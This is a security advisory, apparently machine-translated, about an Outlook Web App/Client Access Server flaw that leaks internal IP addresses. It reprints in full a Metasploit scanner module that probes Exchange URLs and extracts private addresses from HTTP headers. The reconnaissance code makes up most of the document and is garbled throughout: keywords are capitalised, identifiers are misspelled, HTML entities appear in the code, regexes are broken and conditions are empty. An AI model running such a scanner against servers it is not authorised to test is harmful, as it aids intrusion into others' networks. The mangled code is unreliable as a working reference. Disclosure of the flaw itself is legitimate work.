Microsoft Exchange Multiple Information Leakage Vulnerabilities

Microsoft Exchange Multiple Information Leakage Vulnerabilities

Release date:
Updated on:

Affected Systems:
Microsoft Exchange Server 2013
Microsoft Exchange Server 2010
Microsoft Exchange Server 2007
Microsoft Exchange Server 2003
Description:
--------------------------------------------------------------------------------
Bugtraq id: 69018
 
Microsoft Exchange Server is a set of email service components of Microsoft.
 
Outlook Web App (OWA)/Client Access Server (CAS) has the iis http header file path IP information leakage vulnerability. Attackers can exploit this vulnerability to obtain sensitive information.
 
<* Source: Nate Power
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
##
# This module requires Metasploit: http // metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
Require 'msf/core'
 
Class Metasploit3 <Msf: aupoliciary
 
Include Msf: Exploit: Remote: HttpClient
Include Msf: aupoliciary: Example
 
Def initialize
Super (
'Name' => 'outlook Web App (OWA)/Client Access Server (CAS) iis http Internal IP Disclosure ',
'Description' => % q {
This module tests vulnerable iis http header file paths on Microsoft Exchange OWA 2003, CAS 2007,201 0, 2013
Servers.
},
'Author' =>
[
'Nate power'
],
'Disclosuredate' => 'dec 2012 ',
'License '=> MSF_LICENSE,
'Defaultopexception' => {
'Ssl '=> true
}
)
 
Register_options (
[
OptInt. new ('timeout', [true, "HTTP connection TIMEOUT", 10]),
OptInt. new ('rport', [true, "The target port", 443]),
], Self. class)
End
 
Def run_host (target_host)
Rhost = target_host
Print_status ("# {msg} Checking HTTP headers ")
Get_ip_extract
End
 
Def get_ip_extract
Urls = ["/Microsoft-Server-ActiveSync/default. eas ",
"/Microsoft-Server-ActiveSync ",
"/Autodiscover. xml ",
"/Autodiscover ",
"/Exchange ",
"/Rpc ",
"/EWS/Exchange. asmx ",
"/EWS/Services. wsdl ",
"/EWS ",
"/Ecp ",
"/OAB ",
"/OWA ",
"/Aspnet_client ",
"/PowerShell"]
 
Result = nil
 
Urls. each do | url |
Begin
Res = send_request_cgi ({
'Version' = & gt; "1.0 ",
'Url' => "# {url }",
'Method' => 'get ',
'Vhost' =>''
}, Timeout = datastore ['timeout'])

Rescue: Rex: ConnectionError, Errno: ECONNREFUSED, Errno: ETIMEDOUT
Print_error ("# {msg} HTTP Connection Failed ")
Next
End
 
If not res
Print_error ("# {msg} HTTP Connection Timeout ")
Next
End
 
If res and res. code = 401 and (match = res ['www-authenticate']. match (/Basic
Realm = \ "(192 \. 168 \. [0-9] {1, 3 }\. [0-9] {1, 3} | 10 \. [0-9] {1, 3 }\. [0-9] {1, 3 }\. [0-9] {1, 3} | 172 \. [0-9] {1, 3 }\. [0-9] {1, 3 }\. [0-9] {1, 3}) \ "/I ))
Result = match. captures [0]
Print_status ("# {msg} Status Code: 401 response ")
Print_status ("# {msg} Found Path:" + url)
Print_good ("# {msg} Found target internal IP address:" + result)
Return result
Elseif
Print_warning ("# {msg} No internal address found ")
Next
End
 
If res and (res. code> 300 and res. code <310) and (match =
Res ['location']. match (/^ http [s]: \/(192 \. 168 \. [0-9] {1, 3 }\. [0-9] {1, 3} | 10 \. [0-9] {1, 3 }\. [0-9] {1, 3 }\. [0-9] {1, 3} | 172 \. [0-9] {1, 3 }\. [0-9] {1, 3 }\. [0-9] {1, 3}) \ // I ))
Result = match. captures [0]
Print_status ("# {msg} Status Code: # {res. code} response ")
Print_status ("# {msg} Found Path:" + url)
Print_good ("# {msg} Found target internal IP address:" + result)
Return result
Elseif
Print_warning ("# {msg} No internal address found ")
Next
End
End
 
If result. nil?
Print_warning ("# {msg} Nothing found ")
End
 
Return result
End
Def msg
"# {Rhost }:# {rport }-"
End
End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Microsoft
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://technet.microsoft.com/security/bulletin/

This article permanently updates the link address: